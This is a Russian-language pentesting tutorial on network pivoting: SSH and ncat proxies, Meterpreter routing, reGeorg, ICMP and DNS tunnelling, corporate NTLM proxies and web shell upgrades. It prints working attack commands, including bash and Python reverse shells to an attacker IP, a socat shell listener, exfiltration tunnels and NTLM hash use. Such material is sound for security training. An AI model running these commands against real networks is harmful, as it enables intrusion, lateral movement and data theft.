Сетевой pivoting: понятие, примеры, техники, инструменты


Оглавление

1. Что такое pivoting

2. Пример pivoting

3. Цель с публичным IP

3.1 Перенаправление (forwarding) портов SSH

3.2 Pivoting c ncat

3.3 VPN через SSH

3.4 3proxy

3.5 Meterpreter

3.6 AutoSSH

3.7 SOCKSP прокси через веб шелл (reGeorg)

4. Pivoting если цель за NAT

4.1 Обратное перенаправление порта SSH с 3proxy

4.2 Rpivot

5. Эксфильтрация (Exfiltrating) из внутренней сети

5.1 ICMP туннелирование

5.2 DNS туннелирование

5.2.1 Iodine

5.2.2 Dnscat2

5.3 Использование корпоративного HTTP прокси

5.3.1 Rpivot


5.3.2 Cntlm

5.3.3 OpenVpn через HTTP прокси

6. Использование SOCKS с proxychains

7. DNS с proxychains

8. Улучшение веб шелла

8.1 Обратный шелл с помощью Bash. Обратный шелл с PHP, Python, PERL

8.2 Оболочка Python PTY

8.3 Socat

8.4 Размер терминала

8.5 Tsh

9. Список источников

10. Инструменты для pivoting


Что такое pivoting

Часто во время тесто на проникновение или оценки безопасности всё начинается с внешней сети — с исследования и оценки машин и служб, доступных из глобальной сети. Делаются попытки найти бреши в безопасности и, если это удаётся, то выполняется проникновение в локальную сеть, чтобы захватить столько систем, сколько получится.

Трафик локальной сети по своему определению является немаршрутизируемым, то есть к ресурсам локальной сети могут обращаться другие компьютеры, физически подключённые в эту сеть, а атакующий не может получить к ним доступ.

Так вот, pivoting — это набор техник, которые позволяют атакующему получить доступ к локальным ресурсам, по сути, делая маршрутизируемым тот трафик, который в нормальных условиях является немаршрутизируемым. Pivoting помогает атакующему настроить рабочее окружение для использования инструментов таким образом, как будто бы он находиться в локальной сети организации.


То есть с помощью pivoting достигается:

1) Доступ к локальным ресурсам

2) Возможность использовать инструменты для сканирования и поиска уязвимостей со своего компьютера в отношении удалённой локальной сети так, как будто бы они установлены прямо там. То есть хакерские инструменты получают доступ к локальной сети, что при обычных условиях невозможно для немаршрутизируемого трафика.

Данное руководство по pivoting составлено на основе разных источников, за основу взят «A Red Teamer's guide to pivoting» автора Artem Kondratenko. Полный список источников и инструментов для pivoting'а в конце статьи.

Пример pivoting

Представим ситуации, что во время исследования сети была обнаружена брешь, позволяющая запускать команды на удалённой системе. Благодаря этой уязвимости, командой

ip a

был получен список сетевых интерфейсов:

Кроме публичного адреса, можно увидеть адреса локальной сети:

  • 192.168.0.50
  • 127.0.0.1
  • 127.0.0.102
  • и другие 127.*.*.*

Список прослушиваемых портов, полученных командой:

ss -lntup

также нашёл интересные артефакты локальной сети:

  • 127.0.0.100:10025
  • 127.0.0.1:27017
  • 127.0.0.103:15982

  • 127.7.0.1:80
  • другие 127.*.*.*:80
  • 127.0.0.100:8080
  • 127.0.0.100:80

  • 127.0.0.100:443

  • 127.7.0.1:443
  • 127.7.0.2:443
  • другие 127.x.x.x:443

О программе ss смотрите статью «Как проверить открытые порты на своём компьютере. Что означают 0.0.0.0, :*, [::], 127.0.0.1. Как понять вывод NETSTAT».


Все приведённые IP адреса являются немаршрутизируемыми — я не могу получить к ним доступ со своего компьютера. И администратор той сети это знает — никто не может получить к ним доступ, поэтому службы, прослушивающие эти адреса, считаются локальными и они могут быть настроены менее безопасно, чем службы, доступные из глобальной сети. И по этой причине для «атакующего» эти службы и компьютеры локальной сети представляют особый интерес.

Для продолжения исследования мне нужно найти другие локальные хосты, просканировать на наличие открытых портов, запустить сканеры в отношении найденных служб и веб-приложений. Всё это требует привлечения в работу соответствующих инструментов. Но напомню ещё раз — в обычных условиях я не могу получить доступ к удалённой локальной сети запуская инструменты на своём компьютере.

Вариантов действий два:

  • Попытаться установить инструменты прямо на удалённый сервер и запускать их с него. Это слишком сложный вариант — у меня ограниченные права (нет root'а), некоторые инструменты требуют множество зависимостей, такая активность может легко выдать моё присутствие
  • Pivoting

Я выберу pivoting с помощью ncat. Для этого мне нужно запустить ncat в режиме прокси на удалённой системе. Программа ncat может уже присутствовать в системе. Если её там нет, то достаточно закачать на сервер один единственный бинарный файл (пример и подробности в статье «Как сделать прокси на виртуальном хостинге»).

Итак, на удалённом сервере я запускаю ncat в настроенную на прослушивание порта 3128 (-l 3128) в режиме HTTP прокси (—proxy-type http):

ncat -l 3128 --proxy-type http

Теперь уже на своём локальном компьютере если ещё не установлена, я устанавливаю программу ProxyChains-NG. Суть её работы в том, что она передаёт трафик через прокси от тех программ, которые не поддерживают работу с прокси.

Перед использованием ProxyChains-NG мне нужно сделать настройку. Для этого я открываю файл /etc/proxychains.conf:

sudo gedit /etc/proxychains.conf

Нахожу там строку

socks4 	127.0.0.1 9050

и комментирую её:

#socks4 	127.0.0.1 9050

Теперь я добавляю новую строку:

http	IP_СЕРВЕРА 3128

В ней:

  • http — тип прокси (ncat поддерживает только HTTP)
  • IP_СЕРВЕРА — здесь я вписал реальный IP адрес удалённого компьютера, где запущена ncat и чью локальную сеть я хочу исследовать
  • 3128 — порт, нужно указать такой же, какой вы указали при запуске ncat

Если при некоторых командах nmap вы получаете ошибку

nmap: netutil.cc:1379: int collect_dnet_interfaces(const intf_entry*, void*): Assertion `rc == 0' failed.

То дополнительно в файле /etc/proxychains.conf закомментируйте строку:

proxy_dns

Я хочу начать со сканирования открытых портов 192.168.0.50 — это локальный IP адрес. Я запускаю Nmap следующим образом:

proxychains4 nmap -sT -PN -sV --open -n 192.168.0.50

Если вам что-то непонятно в этой команде, то смотрите статью «Анонимные сканирования с Nmap, sqlmap и WPScan через Tor» — там объяснено использование связки proxychains4 + nmap.

Полученные результаты:

Nmap scan report for 192.168.0.50
Host is up (0.55s latency).
Not shown: 990 closed ports
PORT     STATE SERVICE    VERSION
21/tcp   open  ftp        ProFTPD 1.3.5e
111/tcp  open  rpcbind    2-4 (RPC #100000)
873/tcp  open  rsync      (protocol version 30)
1022/tcp open  ssh        OpenSSH 5.3 (protocol 2.0)
1024/tcp open  ssh        OpenSSH 5.3 (protocol 1.99)
2049/tcp open  nfs        2-4 (RPC #100003)
3128/tcp open  http-proxy Ncat http proxy (Nmap 4.85BETA1 or later)
3306/tcp open  mysql      MySQL 5.5.62-38.14-log
4343/tcp open  ssl/http   Apache httpd
4443/tcp open  ssl/http   Apache httpd
Service Info: OS: Unix

Результаты хорошие — парочка процессов веб-сервера на портах 4343 и 4443. Некий процесс на 111. Парочка ssh на 1022 и 1024. Это могут быть как открытые в глобальную сеть процессы (через переадресацию портов), так и исключительно локальные ресурсы, для нужд пользователей сети организации.

В качестве шпаргалки обратимся к Рецептам nmap. Найдём хосты в локальной сети:

proxychains4 nmap -sn 192.168.0.50/24 2>&1 | grep 'OK'

В этой команде используется опция -sn — она пропускает сканирвоание портов и только показывает хосты, которые находятся в сети онлайн. При отправке запросов приходят ответы двух видов: denied или OK:

Если ответ получен (OK), то значит хост онлайн. Но проблема в том, что если получен ответ denied (соединение отвергнуто), то nmap тоже трактует такой хост как находящийся онлайн (хотя и фильтрующий наши запросы на этот порт). Но в моём случае эти хосты не онлайн — видимо, сеть (файервол) настроены при отправке запросов несуществующим хостам отвечать denied. Поэтому в конце работы nmap выведет все хосты подсети 192.168.0.50/24 будто бы они существуют.

Поэтому для получения адекватного списка, проще фильтровать вывод команды proxychains4. Она пишет информацию в стандартный вывод ошибок (внешне ничем не отличается от стандартного вывода, но grep не может его обрабатывать), поэтому мы делаем перенаправление: 2>&1 (эта конструкция перенаправляет стандартный вывод ошибок в стандартный вывод). В результате у нас появляется возможность искать по выводимой proxychains4 информации с помощью grep.

В результате получен верный список хостов локальной сети:

  • 192.168.0.1
  • 192.168.0.13
  • 192.168.0.97
  • 192.168.0.241
  • 192.168.0.247
  • 192.168.0.250
  • и т. д.

Мы не только знаем, что эти хосты онлайн в локальной сети — мы можем на каждом из них выполнить сканирование портов и другие исследования и атаки.

С помощью пинга (запущенного на удалённом компьютере) убедимся, что эти адреса действительно доступны:

Это только самое-самое начало веселья, а ведь у нас уже есть: список интересных портов текущего хоста, с которого мы запускаем команды, большой список адресов компьютеров локальной сети у каждого из которых тоже есть порты. Что ещё? А ещё у нас есть LOOPBACK адреса — петлевые, при обращении к которым сетевые пакеты вообще не уходят с компьютера. В обычных условиях они также недоступны как и локальные IP, но с помощью pivoting мы можем исследовать и их.

Если программа поддерживает HTTP прокси, то использовать proxychains необязательно. Рассмотрим на примере cURL — после опции -x нужно указать IP и порт прокси (через двоеточие) — то есть IP компьютера, через который мы попадаем в локальную сеть. После IP адреса к которому делается запрос также можно указать интересующий порт.

К примеру, со своего компьютера я могу сделать запрос к порту 15982 IP адреса 127.0.0.103 удалённого компьютера:

curl -v -x IP_ПРОКСИ:3128 127.0.0.103:15982

В результате я получил очень интересный ответ:

It looks like you are trying to access MongoDB over HTTP on the native driver port.

То есть видимо это MongoDB.

Команда для сбора баннера с этого порта с помощью nmap:

proxychains4 nmap -n -sV --script=banner -p 15982 127.0.0.103

Эта команда сработала нормально, но новой информации не дала:

Кстати, если последняя команда nmap вызвала ошибку:

nmap: netutil.cc:1379: int collect_dnet_interfaces(const intf_entry*, void*): Assertion `rc == 0' failed.

То в файле /etc/proxychains.conf закомментируйте строку:

proxy_dns

В cURL можно не только делать запрос к разным портам, можно переключаться между протоколов HTTP/HTTPS (достаточно указать протокол перед IP адресом, как показано в следующей команде). Если сертификат является недействительным (это норма в локальных сетях), то можно добавить опцию -k. Можно передавать HTTP заголовки, например, имена хостов и т. д. Поскольку настройка веб-сервера делается отдельно для протокола HTTP и HTTPS, отдельно для каждого хоста плюс дефолтные настройки, то иногда удаётся найти неправильно настроенные хосты или просто неожиданные результаты. К примеру команда (в качестве хоста было указано действительное для данного сервера имя):

curl -v -x IP_ПРОКСИ:3128 -H 'Host: АДРЕС_САЙТА.ru' https://127.0.0.100 -k

в моём случае выдала:

На сервере установлен PHP версии 5.3.28, однако для WordPress 5.2.1 требуется хотя бы 5.6.20.

И так далее. Надеюсь, я сумел вас убедить, что pivoting это очень мощная штука, благодаря которой можно бродить по чужой локальной сети (в противном случае просто недоступной) будто бы по своей собственной.

Работая через прокси, можно сканировать локальные веб-сервера, к примеру, командой Nikto, а также использовать другие инструменты.

Цель с публичным IP

Распространённый сценарий. Допустим в доступном из Интернета веб-приложении найдена уязвимость RCE (удалённое выполнение кода). Мы загрузили шелл и хотим распространить атаку на локальную сеть. Обратите внимание, что в этом конкретном сценарии вы должны иметь возможность открывать для прослушивания (bind'ить, связывать) порты на скомпрометированном хосте, и эти порты должны быть доступны из внешней сети.

Перенаправление (forwarding) портов SSH

Удалось найти учётные данные для SSH-службы, работающей на хосте? Отлично! Подключитесь к хосту следующим образом:

ssh username@host -D 1080

Это создаст сервер socks на стороне атакующего (ssh-client). Добро пожаловать в интранет;)

Рассмотрим более подробно эту концепцию, чтобы не запутаться. Опция -D создаст прокси сервер НЕ на удалённой машине, а на локальной, где запущена эта команда.

Рассмотрим конкретный случай на примере моего экспериментального сервера, его IP адрес 185.117.153.79, в качестве порта для прослушивания я выбрал 15555, тогда команда будет такой:

ssh root@185.117.153.79 -D 15555

Порт 15555 будет прослушиваться НЕ на сервере 185.117.153.79. Этот порт прослушивается на локальном компьютере, с которого я выполнил подключение. В настоящее время поддерживается 2 вида прокси: SOCKS4 и SOCKS5. Итак, если я хочу выполнить подключение, то в качестве IP адреса/имени хоста прокси мне нужно указывать localhost, также нужно указать тот порт, который идёт после опции -D.

Допустим я хочу получить веб-страницу с сервера хоста 185.117.153.79. Для этого я выполняю следующую команду:

curl --socks5 localhost:15555 localhost

В ней два раза используется «localhost» — но это совершенно разные локалхосты!!!

—socks5 localhost:15555 — это опция для подключения к прокси, который был создан с помощью ssh. Когда на этот прокси поступает запрос, то он по ssh туннелю пересылается на удалённый хост, к которому выполнено подключение по ssh. На этот удалённый хост был сделан запрос программой curl на localhost:80 (восьмидесятый порт подразумевается по умолчанию). В результате, сделанный с помощью curl запрос был отправлен на локальный веб-сервер удалённого компьютера.

Таким образом можно использовать программы с поддержкой работы через прокси для сканирования и эксплуатации локальных ресурсов удалённого компьютера. К примеру, можно использовать sqlmap, WPScan и другие.

Подобным образом можно получить доступ не только к HTTP ресурсам удалённой локальной сети. Можно использовать любые программы, которые поддерживают работу через прокси.

Конечно, можно использовать и как самый обычный прокси, чтобы спрятать свой настоящий IP.

Также возможно перенаправить один конкретный порт на конкретный хост. Допустим, вам нужен доступ к SMB-ресурсу во внутренней сети на хосте 192.168.1.1.

ssh username@host -L 445:192.168.1.1:445

Таким образом на компьютере атакующего будет открыт порт 445. И программы даже без поддержки прокси смогут работать с удалёнными локальными ресурсами. В этих программах для подключения в качестве хоста нужно указывать localhost или IP адрес 127.0.0.1. Помните, что для прослушивания привилегированных портов (номера ниже 1024) на локальном компьютере нужны привилегии root; но при этом необязательно выбирать такой же номер порта, как и на удалённой машине, то есть без прав суперпользователя можно сделать так:

ssh username@host -L 11445:192.168.1.1:445

В результате полученные на порт 11445 компьютера атакующего соединения будут перенаправляться на порт 445 удалённой системы (в её локальную сеть).

На примере веб-трафика:

ssh -L 10080:localhost:80 root@185.117.153.79

В результате работы этой команды, все запросы, пришедшие на порт 10080 компьютера атакующего, будут отправлены на порт 80 компьютера 185.117.153.79.

В результате команда:

curl localhost:10080

Покажет содержимое веб-страницы localhost компьютера 185.117.153.79.

Ещё раз самое важное в этом методе: даже приложения без поддержки прокси могут обращаться к ресурсам локальной сети удалённого компьютера.

Pivoting c ncat

Достоинства SSH в том, что для доступа к локальным ресурсам:

  1. Не требуется RCE или другая уязвимость
  2. Не нужно загружать и устанавливать на удалённую систему какие-либо программы и файлы — SSH присутствует на большинстве серверов.

Недостатки SSH в том, что для доступа к локальным ресурсам:

  1. Нужны учётные данные пользователя SSH (не обязательно суперпользователя — любого)

В качестве альтернативы можно использовать Ncat, которая умеет всё то же самое, чего мы можем добиться с SSH

Достоинства Ncat в том, что для доступа к локальным ресурсам:

  1. Не нужны учётные данные пользователей

Недостатки SSH в том, что для доступа к локальным ресурсам:

  1. Требуется RCE или другая уязвимость позволяющая выполнять команды на удалённой системе. Либо требуется доступ по SSH
  2. Не на каждом сервере может быть установлена Ncat. В этом случае нужно сделать простую установку (не требует повышенных привилегий — достаточно закачать на сервер один исполнимый файл)

Техники pivoting'а с Ncat уже описаны на страницах HackWare.ru — нет смысла дублировать, поэтому рекомендую вам ознакомиться со статьёй «Как пользоваться netcat (nc), ncat», особенно с разделами:

Также смотрите статью «Как сделать прокси на виртуальном хостинге», поскольку такой прокси можно использовать для целей pivoting'а, если в качестве запрашиваемых ресурсов указывать ресурсы локальной сети удалённого компьютера (пример уже дан выше).

VPN через SSH

С 4.3 выпуска openssh теперь возможно передавать по туннелю сетевой трафик уровня 3 через установленный ssh канал. Это имеет преимущество по сравнению с типичным tcp туннелем, поскольку контролируется ip трафик. Поэтому, например, можно выполнить SYN-сканирование с nmap и использовать инструменты напрямую не прибегая к proxychains и другим инструментам проксификации. Это делается посредством создания устройств tun на клиентской и серверной сторонах и передачи данных между ними по ssh соединению. Это совсем просто, но вам нужны root права на обеих машинах, поскольку создание tun устройств является привилегированной операцией. Эти строки должны присутствовать в вашем файле /etc/ssh/sshd_config (на стороне сервера):

PermitRootLogin yes
PermitTunnel yes

Следующая команда, которую нужно выполнить на клиенте, создаст пару устройств tun на клиенте и сервере:


ssh username@server -w any:any

Флаг -w принимает номера tun устройств на каждой стороне, разделённые двоеточием. Можно указать явно -w 0:0 или можно использовать синтаксис -w any:any для использования следующего доступного номера для tun устройства.

Увидеть созданные туннельные интерфейсы вы можете командой:

ip a

или командой:

ifconfig -a

Туннель между tun устройствами установлен, но интерфейсы ещё не настроены.

Обратите внимание, что имя реального сетевого устройства eth0 (для главного сетевого подключения на сервере) может быть другим в вашем случае. Также последующие команды написаны исходя из того, что на обоих машинах туннельный интерфейс имеет номер 0, то есть называются tun0. У этих интерфейсов могут быть другие номера, если на системе уже присутствовали другие туннели (например, созданные для VPN соединений). Следовательно, последующие команды может понадобиться подправить под свои условия.

Пример настройки на клиентской стороне:

ip addr add 1.1.1.2/32 peer 1.1.1.1 dev tun0

На стороне сервера:

ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0

Включение ip перенаправления (forwarding) и NAT на сервере:

sysctl -w net.ipv4.ip_forward=1
iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE

Теперь вы можете сделать пир хоста 1.1.1.1 вашим шлюзом по умолчанию или перенаправить через него запросы к определённым хостам/сетям:

route add -net 10.0.0.0/16 gw 1.1.1.1

3proxy

Скачать программу можно здесь: https://github.com/z3APA3A/3proxy/releases

Этот инструмент работает на разных платформах. Для Windows имеются собранные исполнимые файлы. Для Linux поищите эту программу в репозиториях для вашего дистрибутива или просто скомпилируйте её из исходных кодов, благо для этого достаточно:

./configure && make

Этот инструмент в мире прокси является настоящим швейцарским армейским ножом, у него огромное количество функций. Обычно используется в качестве SOCKS прокси или для перенаправления (forwarding) портов.

Все свои опции этот инструмент получает из конфигурационного файла. Для его запуска:

3proxy.exe config_file

Или если у вас Linux:

./3proxy config_file

Для запуска 3proxy как socks5 прокси на порту 1080 поместите следующую строку в конфигурационный файл:

socks -p1080

Теперь можно туннелировать (передавать трафик) большинство ваших инструментов для тестирования на проникновение для развития атаки во внутренней сети. Это самая простая настройка, которая не очень безопасна. Вы можете поиграться с опциями, чтобы добавить аутентификацию и/или правила контроля доступа на основе IP адресов. Полный мануал здесь: https://3proxy.ru/howtoe.asp

Для туннелирования определённого порта используйте следующий синтаксис:

tcppm <локальный_порт> <целевой_хост> <целевой_порт>

Meterpreter

Meterpreter позволяет создавать маршруты pivoting внутри сети для использования со встроенными модулями (пример есть в ссылках на источники). Для автоматической маршрутизации просто используйте следующее:

run autoroute -s 192.168.5.1/24

Для вывода маршрутов

run autoroute -p

Meterpreter — SOCKS Proxy

Теперь вы можете запускать другие инструменты через Meterpreter используя proxychains.

use auxiliary/server/socks4a
set SRVPORT 8080
run

Перенаправление единичного порта

Команда ниже будет перенаправлять сессии rdesktop с localhost с порта 3389 на цель 192.168.5.9 через Meterpreter в качестве туннеля:

portfwd add -L 127.0.0.1 -l 3389 -r 192.168.5.9 -p 3389

AutoSSH

AutoSSH — это инструмент, который позволяет автоматически перезапускать SSH сессии и туннели. Следующая команда откроет порт 2222 на хосте атакующего и сделает туннель на скомпрометированный хост на порту 22. Затем вы сможете настроить динамический SSH SOCKS прокси и подсоединиться к localhost:2222 и сможете перенаправлять трафик обычным образом через скомпрометированный хост.

autossh -M 0 -o "ServerAliveInterval 30" -o "ServerAliveCountMax 3" -L 2222:localhost:22 [evil]@[attacker]

SOCKSP прокси через веб шелл (reGeorg)

Этот инструмент давно не обновлялся и у меня вовсе не заработал.

Суть программы в том, что на веб-сервер загружается один из скриптов (php, jsp и т. д.), на локальном компьютере запускается скрипт на Python2, который начинает прослушивать указанный порт. К этому порту может подключиться любая программа, поддерживающая SOCKS. Таким образом, получается:

скрипт на Python2 + загруженный на веб-сервер скрипт = SOCKS прокси

У программ, которые используют этот прокси, внешним IP будет адрес веб-сервера.

Исходный код: https://github.com/sensepost/reGeorg. Также имеется более актуальный форк: https://github.com/sensepost/reGeorg

Ни один из них не заработал с туннелем через PHP. Возможно, работает с каким-то другим механизмом доставки: aspx, asph, jsp или просто не подошёл мой хостинг.

Пример запуска:

python2 ./reGeorgSocksProxy.py -p 8080 -u http://compromised.host/shell.jsp

В результате адресом прокси будет localhost, портом будет 8080, и выходной точкой канала будет сервер, на котором размещён файл http://compromised.host/shell.jsp.

Pivoting если цель за NAT

Это тоже распространённая ситуация. Использование NAT приводит к тому, что все открытые порты на цели, кроме тех, для которых в сетевом оборудовании специально прописаны правила переадресации, не будут доступны из вне. Одно из возможных решений — инициировать обратное соединение. Описанные ниже инструменты помогут вам в этом.

Обратное перенаправление порта SSH с 3proxy

Настройка pivoting выглядит примерно так:

На целевом сервере запустите службу 3proxy со следующей конфигурацией:

socks -p31337

Создайте отдельного пользователя на принимающей стороне (машина атакующего):

adduser sshproxy

Этот пользователь будет иметь низкие привилегии и не должен иметь права на оболочку. В конце концов, вы же не хотите из субъекта пентестинга стать объектом, не так ли? 🙂 Отредактируйте /etc/passwd и переключите шелл на /bin/false. Должно быть примерно так:

root:x:0:0:root:/root:/bin/bash
...
sshproxy:x:1000:1001:,,,:/home/sshproxy:/bin/false
...

Теперь подключитесь с удалённой (скомпрометированной) машины к вашему серверу, с только что созданным пользователем, с флагом -R. На системах Linux:

ssh sshproxy@ВАШ_СЕРВЕР -R 31337:127.0.0.1:31337

Для Windows вам сначала нужно выгрузить на скомпрометированный компьютер файл plink.exe. Это консольная версия putty. Для её запуска:

plink.exe sshproxy@ВАШ_СЕРВЕР -R 31337:127.0.0.1:31337

Флаг -R позволяет привязать порт на серверной стороне. Все подключения к этому порту будут перенаправлены на указанный порт клиента. Таким образом мы можем запустить службу 3proxy socks на клиентской стороне (скомпрометированной машине) и получить доступ к этому порту на атакующей машине через флаг ssh -R.

Rpivot

Ещё один метод работы в NAT подключениях. Rpivot — это инструмент обратного socks прокси, который позволяет туннелировать трафик через socks прокси. Он делает обратное подклчение к вашей машине и создаёт на ней socks прокси. Он работает примерно как ssh -D, но в обратном направлении. На стороне сервера:

python server.py --proxy-port 1080 --server-port 9999 --server-ip 0.0.0.0

На стороне клиента:

python client.py --server-ip <ip> --server-port 9999

В результате на сервере будет поднят socks4 прокси на порту 1080.

Эксфильтрация (Exfiltrating) из внутренней сети

Бывают разные ситуации, в том числе случаи очень ограниченных возможностей на создание подключений и выполнение команд на скомпрометированной машине. Конечно, если есть прямой доступ из Интернета и нет файерволов, то можно обратиться к любой из описанной выше техник. Но даже если вам не слишком-то повезло, то всё ещё есть возможность найти способ для pivot.

ICMP туннелирование

Если разрешён icmp трафик к внешним сетям, тогда весьма вероятно, что вы можете установить icmp туннель. Недостаток в том, что нужны привилегии root/администратора на целевой системе из-за необходимости использовать сырые сокеты. Посмотрите здесь http://code.gerade.org/hans/.

Команда на стороне сервера (машина атакующего):

./hans -v -f -s 1.1.1.1 -p P@ssw0rd

Флаг -v для вербальности, флаг -f для запуска в фоне, а флаг -s — это значение IP сервера на создаваемом tun интерфейсе.

На стороне клиента:

./hans -f -c <server_ip> -p P@ssw0rd -v

После успешного подключения, клиент будет напрямую виден на 1.1.1.100:

ping 1.1.1.100
PING 1.1.1.100 (1.1.1.100) 56(84) bytes of data.
64 bytes from 1.1.1.100: icmp_seq=1 ttl=65 time=42.9 ms

Теперь вы можете использовать эту машину как шлюз во внутреннюю сеть, использовать эту машину как шлюз по умолчанию или подключаться к управляющим интерфейсам (ssh/tsh/web shell).

DNS туннелирование

Если блокируется любой WAN (в Глобальную сеть) трафик кроме трафика для преобразования имён (DNS), тогда можно сделать туннель через DNS запросы. Для работы этой техники нужно зарегистрированное доменное имя и сервер с внешним IP.

Iodine

Если так получилось, что у вас есть root доступ на сервере, то вы можете попробовать iodine. Программа работает почти как icmp туннелирвоание в инструменте hans — создаёт пару адаптеров tun и передаёт по туннелю данные между ними используя DNS запросы. На стороне сервера:

iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com

На стороне клиента:

iodine -f -P P@ssw0rd tunneldomain.com -r

Успешное соединение приведет к прямой видимости клиента по адресу 1.1.1.2. Помните, что эта техника туннелирования довольно медленная. Лучше всего использовать сжатое соединение ssh поверх полученного соединения:

ssh <user>@1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080

Dnscat2

Dnscat2 устанавливает C&C канал через рекурсивные DNS запросы. Этот инструмент не требует root/административного доступа (работает и на Windows, и на linux). Также поддерживает перенаправление портов. На стороне сервера:

ruby ./dnscat2.rb tunneldomain.com

На стороне клиента:

./dnscat2 tunneldomain.com

После получения подключения на стороне сервера, вы можете видеть активные сессии с командой windows:

dnscat2> windows
0 :: main [active]
  dns1 :: DNS Driver running on 0.0.0.0:53 domains = tunneldomain.com [*]
  1 :: command session (debian)
  2 :: sh (debian) [*]

Для инициации перенаправления порта, выберите команду session с session -i <номер>:

dnscat2> session -i 1
New window created: 1
New window created: 1
history_size (session) => 1000
This is a command session!

That means you can enter a dnscat2 command such as
'ping'! For a full list of clients, try 'help'.

command session (debian) 1>

Используйте команду listen [lhost:]lport rhost:rport для перенаправления на порт:

command session (debian) 1> listen 127.0.0.1:8080 10.0.0.20:80

Этос запускает прослушивание 8080 на машине атакующего и перенаправит все подключения на 10.0.0.20:80.

Использование корпоративного HTTP прокси

HTTP прокси организации, предназначенные для работников, чтобы они могли иметь доступ к внешним веб-приложениям, представляют хорошие возможности эксфильтрации, если у вас есть правильные учётные данные.

Rpivot

Этот инструмент уже упомянут в разделе NAT. Он также поддерживает подключение в нешнему миру через NTLM HTTP прокси. Команда на стороне сервера остаётся неизменной, используйте команду на стороне клиента следующим образом:

python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd

Если вместо пароля у вас есть LM:NT хеши:

python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --hashes 9b9850751be2515c8231e5189015bbe6:49ef7638d69a01f26d96ed673bf50c45

Cntlm

Cntlm — это инструмент для запуска любых программ, не поддерживающих проси, через NTLM-прокси. По сути, этот инструмент аутентифицируется на прокси-сервере и локально связывает порт, который перенаправляется на указанную вами внешнюю службу. Эта привязка к порту не требует никакой аутентификации, поэтому вы можете напрямую использовать ваши инструменты (например, putty/ssh). Он использует файл конфигурации для своей работы. Вот пример конфигурации barebones для пересылки порта 443 (этот порт, скорее всего, будет разрешён через прокси-сервер):

Username Alice
Password P@ssw0rd
Domain CONTOSO.COM
Proxy 10.0.0.10:8080
Tunnel 2222:<attackers_machine>:443

Его запуск:

cntlm.exe -c config.conf

Или если вы в Linux:

./cntlm -c config.conf

Теперь, если у вас запущен ssh на удаленном хосте через порт 443, вы можете запустить ssh клиент (openssh/putty) и подключиться к локальному порту 2222, чтобы получить доступ к внешнему компьютеру.

OpenVpn через HTTP прокси

OpenVpn огромен, поэтому его конфигурация с нуля выходит за рамки этого поста (она уже рассмотрена на странице Инструкция по настройке сервера и клиента OpenVPN). Просто быстрое упоминание — он также поддерживает туннелирование tcp-соединений через прокси-серверы NTLM. Добавьте эту строку в ваш конфигурационный файл:

http-proxy <IP_ПРОКСИ> 8080 <ФАЙЛ_С_УЧЁТНЫМИ_ДАННЫМИ> ntlm

Файл учётных данных должен содержать имя пользователя и пароль в отдельных строках. И да, вам нужен root.

Использование SOCKS с proxychains

Если ваша программа не использует сырые сокеты (например как это делает nmap при SYN сканировании), то, скорее всего, вы можете использовать proxychains для принудительной работы вашей программы через прокси socks или http. Отредактируйте настройки прокси сервера в файле /etc/proxychains.conf:

[ProxyList]
# добавьте здесь прокси ...
# кстати
# по умолчанию установлено на использование "tor"
socks4 127.0.0.1 3128

Всё готово. Просто добавьте proxychains в строку команды перед вашим любимым хакерским инструментом:

proxychains ИМЯ_ПРОГРАММЫ

Использование psexec.py из impacket с proxychains:

DNS с proxychains

Proxychains не следует socks RFC, когда дело доходит до разрешения имён хостов. Он перехватывает вызов gethostbyname libc и туннелирует tcp DNS-запрос через прокси socks. Дело в том, что DNS-сервер жёстко запрограммирован на 4.2.2.2. Возможно, вы захотите изменить сервер имён, чтобы разрешить имена во внутренней сети. Типичным сценарием является замена сервера имён на контроллер домена, если вы тестируете среду Windows. Настройка находится в /usr/lib/proxychains3/proxyresolv:

#!/bin/sh
# This script is called by proxychains to resolve DNS names

# DNS server used to resolve names
DNS_SERVER=${PROXYRESOLV_DNS:-4.2.2.2}    #здесь измени имя имён


if [ $# = 0 ] ; then
    echo "  usage:"
    echo "      proxyresolv <hostname> "
    exit
fi

Улучшение веб шелла

Этот раздел не имеет прямого отношения ни к pivoting, ни к туннелированию, а описывает способ упрощения вашей работы при разработке атаки на внутреннюю сеть. Часто использование веб шелла довольно утомительно, особенно при использовании программ, которые ожидают интерактивный командный интерфейс.

Обратный шелл с помощью Bash. Обратный шелл с PHP, Python, PERL

Не будем подробно останавливаться на этой теме, рассмотрим только обратный шелл вообще без каких-либо программ, кроме оболочки Bash, которая присутствует практически везде по умолчанию.

Начать нужно с того, чтобы подготовиться к принятию обратного шелла:

ncat -l 4444

То есть запущена ncat в режиме прослушивания (-l) порта 4444.

Предположим, что IP атакующего 5.26.122.50, тогда со скомпрометированной машины можно вызвать обратный шелл следующим образом:

bash -i >& /dev/tcp/5.26.122.50/4444 0>&1

Другие примеры с использованием PHP, Python, PERL и пр. вы найдёте, например, здесь: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

Оболочка Python PTY

Чтобы улучшить обычную полуинтерактивную оболочку вы можете выполнить следующую команду в вашей существующей оболочке:

python -c 'import pty; pty.spawn("/bin/bash")'

Или инициируйте обратное соединение:

python -c 'import socket,subprocess,os;\
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);\
s.connect(("<attackers_ip>",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);\
os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

Socat

Socat — это Netcat на стероидах! Серьёзно, посмотрите на руководство по этому инструменту man socat, и вы будете удивлены тем, что вы можете сделать с этим инструментом в отношении туннелирования. Помимо прочего, он может создавать полностью интерактивную оболочку, даже лучше, чем вышеупомянутый python-pty. Недостатком является то, что вам, скорее всего, придётся компилировать/устанавливать этот инструмент на целевом сервере, так как он не является утилитой по умолчанию в большинстве unix-подобных дистрибутивов.

Шелл

Установка слушателя:

socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane

